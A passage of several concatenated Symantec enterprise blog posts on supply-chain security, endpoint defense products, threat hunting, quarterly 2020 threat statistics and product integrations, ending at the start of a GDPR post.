That, in turn, also means that any enterprise needs more and more IT infrastructure and applications to support these new processes. It also means that the IT landscape inside each organization is way more dynamic and agile than it used to be. And that offers a tremendous opportunity for malicious actors.
Here, let’s keep Sun Tzu’s dictum in mind: it’s pointless to attack your enemy where he's strong. You find a weak point and then you strike. And the fact of the matter is that while these latter-day developments may result in a more dynamic IT infrastructure, they have emerged so rapidly that security too often receives short shrift.
It also means that the IT landscape inside each organization is way more dynamic and agile than it used to be. And that offers a tremendous opportunity for malicious actors.
So, if you’re an attacker on the prowl, you know that corporate software development is very much based upon the huge availability of various pre-ready components. You also know that developers don’t want to reinvent the wheel and so will select these open sourced components to build their solutions. After using these, the developers will also look for ways to streamline automatic delivery of new version directly to the production.
Attackers thus don’t need to go after specific business applications; instead, they only need to target the same open source package, one that will get used by many different industries. Once they do, corporate users are going to unknowingly import malicious, compromised code into their environment.
Consider a popular code repository such as GitHub. Think of the implications if an attacker manages to insert malicious content. From that point, any time that someone updates versions of their business software, they’ll also unknowingly serve as a delivery channel for malicious actors.
Never Trust, Always Verify
Traditionally, IT Security has focused on the “production environments” focusing on applications running on the system, the use and storage of data and the access privileges of the devices accessing all this information.
That’s no longer sufficient.
In these times, users may think that what they’re using is built on “trusted” components. But if they blindly trust in the integrity of their supply chain, trouble beckons.
There’s a basic principle we need to grasp: Securing the pipeline must be a part of everyone’s responsibility. Both IT security and corporate developers need to understand that they face a fundamental challenge when it comes to the integrity of the software delivery pipeline.
Effective IT security needs to regularly include an examination of the entire supply chain. That includes the components used for software and knowing where they are coming from and where software code is stored, developed and distributed. It also must involve an examination of how the software-defined infrastructure components are being created.
There are tools for each and every step of the supply chain offering dedicated solutions that can help. Organizations should use them to scan every update to a component to make sure that they’re not also importing malicious logic. These dedicated tools should be used in full collaboration with the traditional security stack in your production environment to secure your production process as much as possible.
Unfortunately, there are no shortcuts here. The cyber security world is akin to an endless arms race in which each side exerts itself to achieve a temporary, tactical gain over its rival. Cyber security is always about parallel advancements. Nothing about the situation is static. Malicious actors find new ways to attack and then the security industry develops a response. But when it comes to keeping your supply chain secure, the answer boils down to one thing: Persistence.
|
This is the Year for Complete Endpoint Defense
You can’t build real endpoint defense while taking a black-and-white view of cyber security
When my two boys were young, we taught them to differentiate between good and bad. As they grew up, they learned that the world is complicated and that things are not always what they seem. Learning to be aware of their environment and realizing that even good people can be manipulated into doing the wrong thing was important. Both ultimately they grew into smart, fine young men and learned to navigate this complex world with aplomb.
Our security industry consists of very smart people as well. We discover everything that exists on a device – an application, a file, a process, a script etc. – and then can determine its reputation, monitor its behavior, and apply advanced machine learning to continuously evaluate and determine what is good and what is bad. No one does it better in the world than Symantec’s STAR organization given the visibility we have across the Symantec and Norton portfolio. Yet the industry struggles dealing with the suspicious and gray areas while securing the good so that it can’t get manipulated into doing bad things. Historically, we have created only two mitigations for all our detections – Allow or Block (good or bad). If allowed to run, irrespective of reputation, it runs unrestricted. We know better, much better, just like our kids do in real life.
Wouldn’t it be great if we could do the following?:
If something’s known bad or ‘knowable’ bad, block it.
If it’s a suspicious app, constrain it. Let it run restricted, so it cannot do bad things.
If it’s unknown, monitor it for any malicious intent or behavior to determine whether it is good or bad - for instance, an unknown application accessing active directory for user credentials and trying to move laterally across your network.
If it’s good, protect it so it cannot be exploited. Like days of old, let it run in a castle so bad things can’t get in.
If it is a suspicious network, secure the connection with a network jail. Middle men cannot gain access to user’s network traffic.
If we had these controls in place, policies would automatically ensure far stronger security.
All significant breaches in recent years have involved a compromised Active Directory.
Our key productivity applications, such as browsers, MS Office, Java, Adobe, and some custom-developed applications, would securely reside in castles and could only be updated by trusted updaters.
The content that these applications use or opened would be jailed if it came from the internet. For example, an Excel file downloaded through a browser could be opened, updated, saved and then later be opened by Excel. But it would be allowed to run a script that updated the spreadsheet file and not the application files.
Think “MS Excel Application in Castle, Content in Jail.” In practice, that would mean that any Excel spreadsheet file created by a user would have more rights than one downloaded from the internet.
If something was deemed to be suspicious, you would be able to run it in a jail so that any bad things won’t be able to get out and inflict damage. If it was an unknown, you’d want to monitor it. For example, an organization’s developers building their own apps might have an unknown reputation. So, you could set a policy where developers – but not sales and finance - run unknown applications.
Thinking more broadly about this, you can imagine a myriad of other security benefits. How about a global whitelist that you propagate to all your devices? So even if a device did not connect back for months, it would still be constrained to the global whitelist. Users would be able to add applications as long as they remained on the global whitelist. When employees traveled and connected to unsecured Wi-Fi, wouldn’t it be great if these hotspots also had reputations and connections to your enterprise that were automatically secured?
Reducing the Attack Surface: Automated Remediation
All significant breaches in recent years have involved a compromised Active Directory. Without reputation-based controls, unknown processes and scripts can utilize the open nature of the active directory to easily move laterally in an enterprise. Hence, late last year we bought Javelin Networks. We believe securing Active Directory access from domain connected devices creates a layer of protection unmatched in the industry. Javelin Networks technology coupled with reputations from SEP enables us to create a smart, easy to deploy layer of protection that chokes out all AD-breach linked lateral movement.
I’m fond of the old saying that "prevention is better than cure" applies to security as well. The more threats you can proactively prevent, the less overwhelmed your Detect and Respond operations will be – even with the smartest Endpoint Detection and Response (EDR) and IR products in the world like Symantec’s EDR Product line. Now these smart folks not only investigate, analyze and hunt, they also can help define these fine-tuned policies. Automated Remediation is the next complimentary step to reduce attack surface and manage risk.
There is an additional benefit of these advanced policy controls. In most advanced threats you have minutes to respond than days. Automated Policy based remediation enables you to react smartly and proactively rather than react post breach.
So I am proud to announce that we are launching a new suite that does exactly that. Symantec Complete Endpoint Defense provides the fine-grained controls to protect your users and organization from advanced threats and dynamic adversaries.
Symantec Endpoint Security
We offer the only portfolio in the world that gives you the most complete defense. Symantec Complete Endpoint Defense adds the following to our market-leading Symantec Endpoint Protection Product lines:
Symantec Endpoint Application Control that will help customers defend against advanced attacks by only allowing known, good applications to run. This is a modern whitelisting product that greatly simplifies management and manageability.
Symantec Endpoint Application Isolation enables users to download and use any application safely by ensuring every application is restricted to safe and authorized behavior. Good applications run in castles, unknown in jails and their content is jails.
Symantec Endpoint Cloud Connect Defense delivers dynamic protection by assuring network integrity through a policy-based smart VPN to defend against risky Wi-Fi and carrier networks. This technology provides an additional layer of protection for Windows 10 devices and provides you detection for malicious hot spots.
Symantec Endpoint Threat Defense for Active Directory ensures that malicious actors on domain-connected endpoints cannot exploit Active Directory to gain access to critical assets. Threat Defense for AD restricts post-exploit incursions by preventing credential theft and lateral movement – this is the only solution that can protect Active Directory directly from the endpoint.
Symantec Endpoint Detection & Response: Symantec’s EDR 4.0 continuously updates AI-driven detection engines using threat research from Symantec’s elite team of researchers and global telemetry from 175 million endpoints to train analytics to detect new attack patterns. EDR 4.0 is now available for any device, anywhere, before or after an attack
These unique capabilities integrate deeply with our flagship endpoint protection product, Symantec Endpoint Protection (SEP) providing customers with the most advanced and complete defense to protect a heterogeneous endpoint environment.
Our goal has always been to offer a solution that reduces complexity, so that organizations don’t wind up needing to cobble together a jumble of point solutions – single agent architecture is key to achieving that goal. We have now extended that with a single console for these offerings- in the cloud. A portfolio that is easy to deploy and manage using a single agent, managed by a single console, with smart, automated policy controls that adapt to protect against current threat conditions and deliver a new security standard for your endpoint environment. A new AutoManage capability delivers smart AI- recommendations making admins more productive and continuously improving your security posture.
Symantec Complete Endpoint Defense provides enterprises with the visibility and coordinated capabilities they require to orchestrate the protection of their endpoint environment. We’ve got you covered with detection and prevention, deception and hardening, and we keep your data safe from known and new, advanced attacks.
|
Threat Hunting – Be Proactive to Be Protected
Don’t wait for attackers to take the initiative. Here’s how proactive threat hunting can significantly improve your security posture
Long before the 2013 cyber attack against Target that hacked more than 41 million of the company's customer payment card accounts, cyber criminals had already learned they could make a killing by going after credit card terminals.
Consider the experience of a big global financial institution we worked with - sorry, no names - that provided credit card terminals to retail outlets but whose valuable information was getting siphoned off overseas without triggering any alert or indicator of a compromise.
One day they finally discovered that traffic was beaconing to a country in which this institution did not do business. The subsequent threat hunt turned up an even more ominous discovery: the beaconing included a regular large file upload that included information relating to credit card terminals & its owners, used at thousands of retail and convenience stores
When Symantec got called into the investigation, we were able to recreate these file uploads to identify exactly what had been exposed: Information relating to the owners of the terminals, including firmware version, software version, the amount of money each terminal had transacted on a daily basis - as well as personal information of the credit card terminal owners, including its physical location.
The episode provided a simple lesson in the value of proactive threat hunting. Even though the company in the above example lost some data, it could have been a lot worse. Indeed, this massive breach may not have been exposed for months and only after causing significant damage.
Companies that are more proactive tend to be in pretty good shape because they are taking a proactive view of security. They’re not passively waiting around for alerts. So, let’s talk about a few rules of the road as we consider how proactive threat hunting can improve your security posture.
Defining the Challenge
First, some context. Let’s acknowledge that despite progress registered by some industry initiatives, we still find a troubling time lag between breach detection and response. Microsoft announces zero days, but the reality is that insecurities are often in the wild for - literally - months. Research finds that the average time to detection is 206 days while the time to response ranges between 21 and 35 days. That leaves organizations in unnecessary danger to attackers out to steal valuable IP and data. Every minute counts; indeed, the faster an organization can close its window of exposure, the smaller the ultimate cost it will incur.
Why Threat Hunting isn’t Incident Response
Don't confuse the two. There’s a fine line between threat hunting and active incident response. The standard security operations model is: Set up alerting, receive alerts, triage alerts and respond to alerts if needed.
Threat hunting is different. Threat hunting begins with formulating a hypothesis of what behavior a threat actor would use if they had circumvented our defenses, and where critical assets or intellectual property exists. We then look for evidence to support our hypothesis. If evidence is found, the analyst then pivots, expanding understanding of the threat, and creating IOCs for future alerting.
Let’s expand on why incident response is reactive and why threat hunting is proactive. Incident response is by nature a reactive process. There is an incident and we respond to it. Threat hunting is forward-looking where defenders are scanning the horizon looking for emerging threats and preemptively stopping them before they become full-blown incidents.
Incident response, by nature, focuses attention on known threats with expected outcomes. Threat hunting is not just forward-looking. It involves taking a deeper dive into the situation and removing blinders that limit your field of view. It opens your analysis to threats that have evaded detection but are nonetheless ready to inflict damage.
Benefits
Threat hunting exercises can help businesses to identify threats before they escalate and turn into full-blown security breaches. Uncovering poorly-managed security solutions is a byproduct of effective threat hunting – thus fortifying the organization from an actual attack.
Oftentimes, the hunts uncover things that the company thought it had defended against, but it turns out that they’re still quite vulnerable. For instance, perhaps some firewall rules got changed. Maybe a proxy setting or two weren’t optimized. And in our fast-emerging era of IoT, it’s hardly uncommon to find devices that are not properly configured for security.
Agent vs Network-based Hunting
Agent-based threats excel at things like looking for persistence in the registry or processes in memory. But, deploying agents can take weeks and even then, there are a subset of devices that can’t always be architected to ensure that a security agent gets installed. Devices that wind up deployed in IoT or SCADA installations are becoming a bigger security concern all the time. (In fact, we’re aware of recent attacks that were launched using vulnerable web cameras.)
Network threat hunting on the other hand has no reliance on the endpoint devices. Analysis begins almost as soon as a network recording solution is installed. Since it is looking at network traffic, it makes no difference what type of device the packets are coming from. It understands traffic from these often-unmonitored endpoint devices as easily as it understands a Windows workstation. The medical industry specifically has unique challenges in this area due to the amount of medical devices/equipment that have embedded operating systems connected to the Internet.
Threat Detection vs Threat Hunting
Traditional Security Operations is event-based. We have devices on our perimeter that are there to detect malicious activity. The same is true with the endpoint. We have agents watching, alerting to any malicious activity. The majority of these alerts are triggered based on known threats. Threat hunting is the next step to secure our infrastructures. In threat hunting, we look for anomalous events on both a macro and micro scale, identifying behaviors that on their own would look benign, but when compounded together, expose evidence of risk or a developing attack.
More Art than Science
So, what does a focused threat hunt look like? Threat hunting is more an art than a science. It rests on making the assumption that your defenses have been breached and then looking for supporting evidence to support - or disprove - our thesis. A threat hunt begins by identifying key egress points to monitor. Then, using network taps or packet brokers, a copy of traffic is sent to network capture appliances for analysis with a suitable network analytics & forensics tool, such as Security Analytics. The analyst, or hunter, begins analyzing network traffic looking for suspicious and unusual communications. On a simple scale, this can be anything from a large volume outbound DNS traffic to an endpoint sending unusual packets to an external host.
Call to Action
Threat Hunting can help companies deal with the complexity of finding and classifying data as it moves through the network, allowing admins to understand what's going in and out of their organization.
An obvious starting point to enable Threat Hunting would be for organizations to start by capturing network traffic, ideally 30+ days’ worth of traffic. With a recording device in place you now have a security camera or DVR for your network. It’s like a “Black Box Flight Recorder” to capture all network details whenever an incident requires deeper analysis and investigation. If you’re still building your own capability or need a partner to help, Symantec can offer advanced threat hunting, managed network forensics and sophisticated incident response services. Here are a few links you might check out:
More on Security Analytics
More on Symantec Managed Security Services
|
Threat Landscape Trends – Q1 2020
A look at the cyber security trends from the first three months of 2020.
Towards the end of the first quarter of 2020, we took a look through telemetry from our vast range of data sources and selected some of the trends that stood out.
From COVID-19-themed malicious email and BEC scams to vulnerability exploits and IoT attacks, let’s take a quick look at the trends that shaped the cyber security threat landscape in the first three months of 2020.
Influx of Coronavirus Malicious Email
While news of the coronavirus pandemic began to circulate in December 2019, it was March 2020 before the subject began to be used noticeably as a lure in malware-bearing emails. In February, Symantec, a division of Broadcom (NASDAQ: AVGO), blocked approximately 5,000 malicious emails with “coronavirus”, “corona”, or “COVID-19” in the subject line. However, in March this number increased significantly to roughly 82,000.
More information on this trend can be found in our blog COVID-19 Outbreak Prompts Opportunistic Wave of Malicious Email Campaigns.
Figure 1. Coronavirus-related malicious email
BEC Scams Resulted in $1.77 Billion in Losses for Victims
According to the FBI, business email compromise (BEC) scams are the most damaging and effective type of cyber crime, accounting for over $1.77 billion in losses for victims last year. While the number of organizations targeted by BEC scams was down from Q4 2019 numbers, there were still almost 31,000 organizations targeted in Q1 2020.
Figure 2. Organizations targeted by BEC scams
Formjacking Criminals Increase Efforts
The number of unique websites compromised with formjacking code increased in Q1 2020 as more criminals vie for their share of this lucrative malicious activity. There were 7,836 websites compromised with formjacking code in Q1 2020, up from 7,663 the previous quarter.
To learn more about formjacking, read our white paper: How Malicious JavaScript Code is Stealing User Data from Thousands of Websites Each Month
Figure 3. Websites compromised with formjacking code
Figure 4. Top countries for formjacking
Hackers Rush to Exploit Vulnerabilities Emerging in Early 2020
A directory traversal vulnerability in Citrix Application Delivery Controller and Citrix Gateway (CVE-2019-19781) was disclosed on December 17, 2019. Patches for the flaw, which could permit a remote attacker to execute arbitrary code on vulnerable computers, were not rolled out until January 2020. There was a spike in exploit attempts for this vulnerability immediately after its disclosure, peaking in February with over 492,000 attempts blocked by Symantec (Web Attack: Citrix ADC RCE CVE-2019-19781).
Figure 5. Citrix vulnerability exploit attempts blocked
Microsoft’s first Patch Tuesday release of 2020 disclosed a serious vulnerability in Windows CryptoAPI (CVE-2020-0601), a core component of the Windows operating system that handles cryptographic operations. Hackers were again quick to incorporate this vulnerability into their attacks, with blocked exploit attempts (Web Attack: Microsoft Windows CVE-2020-0601) reaching almost 82,500 in January. Attempts to exploit these vulnerabilities were blocked by Symantec’s Intrusion Prevention System (IPS).
Figure 6. CryptoAPI vulnerability exploit attempts blocked
Phishing Makes a Comeback
After declining markedly in 2019, phishing increased significantly during the first quarter of 2020, accounting for 1 in every 4,200 emails. Phishing activity is now back up to near where it was during 2018. The availability of more sophisticated phishing kits on the cyber underground may be driving a renewed interest in this form of attack. Some of the increase may also be accounted for by the upsurge in COVID-19-themed email attacks.
Figure 7. Phishing rate
IOT Attacks on the Rise
The number of attacks against Symantec IOT honeypots* was up 13 percent in Q1 compared to Q4 of 2019.
*Symantec’s IOT honeypots emulate protocols used by virtually all IOT devices, such as routers, connected cameras, digital video recorders, and so on.
Figure 8. IoT honeypot attacks increased in Q1
However, the number of unique IP addresses performing IOT attacks fell by 14 percent in the same period, indicating that while IoT botnets may be more aggressive in performing attacks, their relative size has fallen.
Figure 9. Unique IP addresses performing IoT attacks
The top ten passwords used in attacks on IOT devices. Most of the credentials used by attackers are default or easily guessable.
Figure 10. Top passwords used in IoT attacks
The largest amount of attacks originated from IP addresses located in the U.S. followed by China, Vietnam, Taiwan, and South Korea. Since attacks are carried out by botnets of infected IOT devices, these countries have the highest number of infected IOT devices.
Figure 11. IoT attack origination
For the latest insights on threat intelligence visit Symantec Enterprise Blog/Threat Intelligence.
|
Threat Landscape Trends – Q2 2020
A look at the cyber security trends from the second quarter of 2020.
As the first half of the year drew to a close, we took a look through telemetry from our vast range of data sources and selected some of the trends that stood out from April, May, and June 2020.
From a resurgence in cryptojacking activity to the return of a major malware distribution platform, let’s take a quick look at the trends that shaped the cyber security threat landscape in the second quarter of 2020.
Cryptojacking
After a sharp decline in cryptojacking following the shutdown of browser-based mining script maker CoinHive in March 2019, the second quarter of 2020 saw a resurgence in activity. Browser-based cryptojacking events blocked by Symantec saw a 163 percent increase in Q2 2020 compared to the previous quarter. This spike in activity coincides with an increase in the value of cryptocurrencies, including Bitcoin and Monero, which are two currencies often mined by browser-based coinminers.
For more information on cryptojacking, read our blog:
Cryptojacking: A Modern Cash Cow
Figure 1. Browser-based cryptojacking events blocked by Symantec were up 163 percent in Q2
Figure 2. Bitcoin price over Q2
Figure 3. Monero price over Q2
Malware Increases as Lockdown Restrictions Ease
As countries around the world began easing COVID-19 lockdown restrictions, malware distributors also resumed working at full capacity. May and June saw a significant increase in the number of malware attacks blocked by Symantec, a division of Broadcom (NASDAQ: AVGO). In total, Symantec blocked over 60 million infection attempts in the second quarter of 2020, which represents a 74.6 percent increase over the previous quarter.
Figure 4. Symantec blocked over 60 million malware infection attempts in Q2 2020, a 74.6% increase over Q1
Emotet
For over a year, the Emotet botnet (Trojan.Emotet) has been subdued, with two long periods of inactivity: Between May and September 2019 and again between February and July 2020. This drop-off in activity is reflected in Symantec’s detections of new Emotet infections during this period. However, while activity for Q2 remained nominal, the botnet ramped up its activity in early Q3. Emotet's return is a source of concern, since it is a major malware distribution platform.
For more information on Emotet, read our blog:
The Evolution of Emotet: From Banking Trojan to Threat Distributor
Figure 5. The Emotet botnet was subdued in Q2 but since beginning of Q3 has ramped up activity
Sodinokibi
There was an increase in attacks using the targeted Sodinokibi ransomware (Ransom.Sodinokibi), also known as REvil, in the second quarter of 2020. Following a lull in March, activity began to increase again in April. By the end of Q2, Sodinokibi activity was up by over 630 percent, compared to the end of Q1. This ties in with research from Symantec in June which revealed a Sodinokibi campaign in which the attackers were using the Cobalt Strike commodity malware to deliver Sodinokibi to victims in the healthcare, services, and food sectors.
For additional information on Sodinokibi, read our blog:
Sodinokibi: Ransomware Attackers also Scanning for PoS Software, Leveraging Cobalt Strike
Figure 6. Sodinokibi activity at the end of Q2 was up by over 630 percent, compared to end of Q1
Cobalt Strike
A growing number of attacks in recent months have involved the use of Cobalt Strike (Backdoor.Cobalt), a multipurpose commodity malware available for purchase, most notably used in the WastedLocker (Ransom.WastedLocker) targeted ransomware attacks. Reflecting this trend, detections of intrusions involving confirmed Cobalt Strike usage are up significantly in the past two quarters. In many cases, Cobalt Strike is blocked by other detection technologies and signatures, meaning the true number of attacks involving this malware may be significantly higher.
For more information on WastedLocker and its use of Cobalt Strike, read our blog:
WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations
Figure 7. Detections of intrusions involving confirmed Cobalt Strike usage are up significantly in the past two quarters
Lokibot
The Lokibot information-stealing malware (Infostealer.Lokibot) saw a spike in activity in June, with blocked attacks increasing by almost 800 percent over the previous month. If this increased activity continues, Q3 could see Lokibot match or surpass activity seen in Q1.
Lokibot, one of today’s most prevalent information-stealing threats, is often distributed via spam campaigns. Symantec recently began monitoring two new spam campaigns spreading Lokibot and targeting medium and large businesses around the world. One campaign involves the impersonation of a Saudi company specializing in industrial services and another impersonates a large shipping firm.
Figure 8. Blocked Lokibot attacks in June increased by almost 800 percent over the previous month
IoT Attacks Decline but Risk Remains
The number of attacks against Symantec Internet of Things (IoT) honeypots* per day was down 12 percent in Q2 compared to Q1 2020. However, Q2 2020 still saw a greater number of attacks (14 percent more) compared to Q4 2019. While the numbers may be down, the risk of attack against internet-connected devices still remains high, as highlighted by a recent alert jointly released by the U.S. Cybersecurity and Infrastructure Security Agency (CISA) and the UK’s National Cyber Security Centre (NCSC) warning QNAP NAS device owners to update their devices in case QSnatch malware attacks restart.
The number of unique IP addresses performing IoT attacks also fell in Q2, down 19 percent over the previous quarter.
*Symantec’s IoT honeypots emulate protocols used by virtually all IoT devices, such as routers, connected cameras, digital video recorders, and so on.
Figure 9. Average number of IoT attacks per day
Top User Names and Passwords
The top ten user names and passwords used in attacks on IoT devices. Most of the credentials used by attackers are default or easily guessable.
Figure 10. Top 10 user names used in IoT attacks
Figure 11. Top 10 passwords used in IoT attacks
Attack Origination
The largest amount of attacks originated from IP addresses located in the U.S. followed by China, Taiwan, Brazil, and Russia. Since attacks are carried out by botnets of infected IoT devices, these regions have the highest number of infected IoT devices.
Figure 12. Majority of IoT attacks originated from IP addresses in the U.S. followed by China
For the latest insights on threat intelligence visit Symantec Enterprise Blog/Threat Intelligence.
|
Threat Landscape Trends – Q3 2020
A look at the cyber security trends from the third quarter of 2020.
We took a look through telemetry from our vast range of data sources and selected some of the trends that stood out from July, August, and September 2020
From significant increases in Emotet and Cobalt Strike activity to a spike in the number of server vulnerability exploit attempts, let’s take a quick look at the trends that shaped the cyber security threat landscape in the third quarter of 2020.
Malware steadily increases
Malware attacks have continued to increase quarter over quarter in 2020. In July, August, and September, Symantec, a division of Broadcom (NASDAQ: AVGO), blocked over 78 million malware infection attempts, which represents an almost 30% increase over Q2 and a 127% increase over the number blocked in Q1. The increase in activity may have been spurred by many countries exiting COVID-19 lockdowns, with a resurgence in business activity presenting more opportunities for cyber criminals.
Figure 1. Malware infection attempts blocked by Symantec
Downloaders
Malware that downloads files, which are often malicious, saw an increase in Q3. Symantec blocked 17% more of these threats in Q3 than in Q2.
Figure 2. Blocked downloader threats
Cobalt Strike by month
Attacks involving the use of the multipurpose commodity malware Cobalt Strike (Backdoor.Cobalt), have continued to increase. Detections of attacks involving the use of this threat increased 57% from August to September alone.
Figure 3. Cobalt Strike attack attempts by month
Cobalt Strike by quarter
The quarter on quarter trend is even more alarming, with a 163% increase seen when comparing Q1 2019 to Q3 2020. In many cases, Cobalt Strike is blocked by other detection technologies and signatures, meaning the true number of attacks involving this malware may be significantly higher.
Figure 4. Cobalt Strike attack attempts by quarter
Lokibot by quarter
The Lokibot information-stealing malware (Infostealer.Lokibot) saw a 237% increase in activity from Q2 to Q3 2020. Lokibot is one of today’s most prevalent information-stealing threats and is often distributed via spam campaigns.
Figure 5. Lokibot attack attempts by quarter
Lokibot by month
Blocked Lokibot attacks in September reached the highest number seen since June 2019.
Figure 6. Lokibot attack attempts by month
Emotet by quarter
As predicted towards the end of June, after over a year of subdued activity, the Emotet botnet (Trojan.Emotet), a known malware distribution platform, has returned in Q3. Following a dramatic drop in activity in Q2 2019 the malware looks to be steadily ramping up activity, with the number of blocked infection attempts in Q3 up 44% over that of Q1. The vast majority of Emotet infection attempts are blocked by email protection products, meaning antivirus detections are a small, representative sample of blocked Emotet activity.
Figure 7. Emotet infection attempts by quarter
Emotet by month
Looking at the numbers by month, there was a significant jump in activity from June to September, equating to a 353% increase. The vast majority of these blocked Emotet attacks occurred in the U.S. Symantec observed and blocked an Emotet spam campaign in September which was using COVID-19 themed lures. This campaign contributed to the surge in activity seen in September. For additional information on Emotet, read our blog:
The Evolution of Emotet: From Banking Trojan to Threat Distributor
Figure 8. Emotet infection attempts by month
COVID-19 related spam
Spam emails using COVID-19 themed lures have increased month-on-month in Q3, with a roughly 27% increase in the number of these emails blocked by Symantec each month. As mentioned, Symantec observed and blocked an Emotet spam campaign in September which was using COVID-19 themed lures.
Figure 9. COVID-19 related spam emails blocked by month
Phishing
In Q3, the number of phishing attempts blocked by Symantec’s Intrusion Prevention System (IPS) technology increased 25% over the previous quarter, and almost doubled (97%) over numbers from Q1 2020.
Figure 10. Phishing attempts blocked by quarter
Server vulnerabilities
The number of server vulnerability exploit attempts blocked by Symantec IPS technology in Q3 increased by 77% over the previous quarter. This increase in exploit attempts follows a series of critical server vulnerability disclosures, such as the “Zerologon” flaw in Windows Server (CVE-2020-1472) and a vulnerability in Pulse Secure VPN servers (CVE-2019-11510). These types of vulnerabilities are tempting for hackers as they can offer access to enterprise servers and all the sensitive data stored there. Servers are also an ideal platform for launching further attacks.
Figure 11. Server vulnerability exploit attempts blocked by quarter
Average Internet of Things attacks per day
The average number of attacks against Symantec Internet of Things (IoT) honeypots* per day was down 8% in Q3 compared to Q2 2020. *Symantec IoT honeypots emulate protocols used by virtually all IoT devices, such as routers, connected cameras, digital video recorders, and so on.
Figure 12. Attacks against Symantec IoT honeypots per quarter
Unique IP addresses performing IoT attacks
While the number of attacks decreased, the number of unique IP addresses performing IoT attacks increased in Q3, up 18% over the previous quarter. This suggests that the botnets carrying out the attacks are increasing in size.
Figure 13. Unique IP addresses performing IoT attacks
Top user names and passwords
The top ten user names and passwords used in attacks on IoT devices. Most of the credentials used by attackers are default or easily guessable.
Figure 14. Top ten user names
Figure 15. Top ten passwords
Attack origination
The largest number of attacks originated from IP addresses located in the U.S. with 25% of attacks emanating from here. However, the number of attacks originating in the U.S. decreased in Q3, down from 34% the previous quarter. The second highest number of attacks originated in Vietnam, followed by China, India, and Taiwan. Since attacks are carried out by botnets of infected IoT devices, these regions have the highest number of infected IoT devices.
Figure 16. Attack origination by region
|
Threats Evolve. Shouldn’t Your Cyber Defense?
Integrations aggregate threat intelligence for deep analysis and fast response
In a world in which threats never stand still but evolve to assume new and ever more dangerous shapes, you can never have too much cyber security information. Or can you? If you have multiple cyber security tools- but can’t pull cohesive data from them, correlate it and draw actionable conclusions-then yes, you can have too much information. Without system integration, copious threat information is likely to create more confusion than clarity and/or leave your Security Operations team overwhelmed trying to react to every alert—leaving your organization vulnerable to attack as new threats emerge.
The answer to this conundrum is Integrated Cyber Defense (ICD), our strategy for deeply integrating Symantec and third-party solutions into a single architecture that can correlate and share threat intelligence. The ability to aggregate, integrate and make sense of cyber security information from multiple sources is key to building an effective defensive strategy, whether Zero-Trust or SASE. Because today’s enterprise data crisscrosses public and private clouds, your tools need to identify threats anywhere.
Here are some key Symantec integrations that will enable you to turn cyber security data into actionable intelligence to defend against evolving threats:
1. Network Integrated with Threat Analytics tools and the Endpoint
As your employees access files and the corporate network to do their work, there’s a good chance one of those files will be bad news. If your systems identify a suspicious activity, you need to identify that file, understand the threat, and get rid of it as quickly as possible. Enter SSLV Visibility, Security Analytics, Content Analysis, and Endpoint Security Complete—all working together.
Our SSLV Visibility solution decrypts your network traffic and sends it on to Security Analytics for analysis. What’s powerful about SSLV Visibility is that you can inspect any traffic, even if it’s encrypted.
Security Analytics is Symantec’s network traffic analysis and forensics solution. It’s like having a camcorder for your security data. It records everything so you can go back and look into the details of any threat. Security Analytics analyzes the file and tries to identify what it is. If traditional security rules aren’t able to easily draw a conclusion, then Content Analysis can take over to more deeply analyze malicious messages.
If your systems identify a suspicious activity, you need to identify that file, understand the threat, and get rid of it as quickly as possible.
Content Analysis is the most effective way to detect file based malware. It combines multiple engines – allow list, deny list, dual anti-virus, and advanced machine learning – to identify advanced malware. It also has the option for full emulation and virtual detonation sandbox to replace less effective sandbox technologies.
Now integrate Content Analysis with our Endpoint Security Complete solution, and Content Analysis can then forward on a deny list to Endpoint Security Complete and have that malicious file removed from all endpoints on the network.
2. Threat Analysis Tools Integrated with a Range of Control Points
Threat telemetry comes in from all different sources—laptops, mobile phones, the network, cloud apps, web traffic, data centers. The more you can collect and analyze, the stronger your threat intelligence will be. Enter Information Centric Analytics (ICA).
Centralized, cross-platform visualization, analysis and response
ICA is a platform that collects alert data from many Symantec and third-party tools to identify risks present in your organization. It focuses on entities like endpoints and users so it can correlate and aggregate telemetry from your controls—a key capability of the SASE and Zero Trust frameworks. By understanding normal behaviors ICA can help detect deviations—revealing potential insider threat as well outside threat present in our environment.
ICA’s threat analysis gives tremendous visibility into threats because it integrates with Data Loss Prevention (DLP), CloudSOC, Endpoint Security Complete (SES Complete), Web Security Service (WSS), Proxy SG, Data Center Security (DCS), Control Compliance Suite (CCS), and third-party solutions.
3. Collecting Data Across Symantec and Third-Party Solutions
Collecting data across a variety of control points plus third-party solutions seems fairly straight-forward. It’s not. Each of the control points stores data in its own format so the first step is to collect the data and normalize it. Enter Integrated Cyber Defense Exchange (ICDx).
ICDx collects, parses, and normalizes telemetry information across control points, such as emails, endpoints, web, network and DLP. ICDx then forwards high fidelity data to Security Operations Center front-ends like Splunk and Elastica. With this intelligence integrated into your security environment, you get faster, more effective correlation and response. You can also send it on to your own APIs to help your Threat Hunters dive into the data.
You can read more about data normalization through ICDx in the blog “Symantec XDR: Data Normalization is Key”.
4. Third-party Solutions to Deepen Threat Intelligence
Integrations within our own portfolio are key and yet we know that Symantec will not be your only vendor. That’s why we built in easy ways to integrate with third-party solutions. Take Anomali Match as an example. The integration between Symantec and the Anomali platform offers a powerful mechanism to aggregate, enrich, and analyze existing data from the entire Symantec security suite.
Anomali Match matches Symantec product events against validated threat intelligence to determine which events are malicious and merit further human investigation. Security analysts gain additional insight through threat bulletins, vulnerability information, and other indicators of compromise. Joint customers save a significant amount of time and effort, deal with less complexity, and take action more quickly.
Sure, you could integrate some of these cyber security capabilities yourself. But doesn’t it make sense to take advantage of the work of a trusted organization with years of experience and global resources? Symantec has already done the heavy lifting by integrating these tools—not only helping you get more value out of the tool you already own, but also removing the need for hours of your manual engineering effort.
The malware that is well known is easy to stop. Because bad actors are always looking for new exploits and new vectors of penetration, you need to be on the lookout for evolving threats that don’t fit known profiles. To do that you need broad visibility across your infrastructure, including public and private clouds as well as endpoints.
The evolution of threat actors has made it so that we must look across our security control point to detect sophisticated threats—if we do it correctly we can identify those threats, understand them, isolate and remove them before they cause an impact to the organization we're protecting.
File Attachments
Download ICA-DLP Whitepaper NowPDF252.45 KB
|
Three Questions You Must Resolve Before GDPR
The countdown has begun so before GDPR takes effect this spring, here are a few tips to ensure that your data protection plans comply with the new regulations
For More on GDPR Register Now
In a few months, Europe will usher in a new regulatory era when the EU’s General Data Protection Regulation (GDPR) takes effect. But even if you’re not living in the European Union, the regulations may still affect your business.
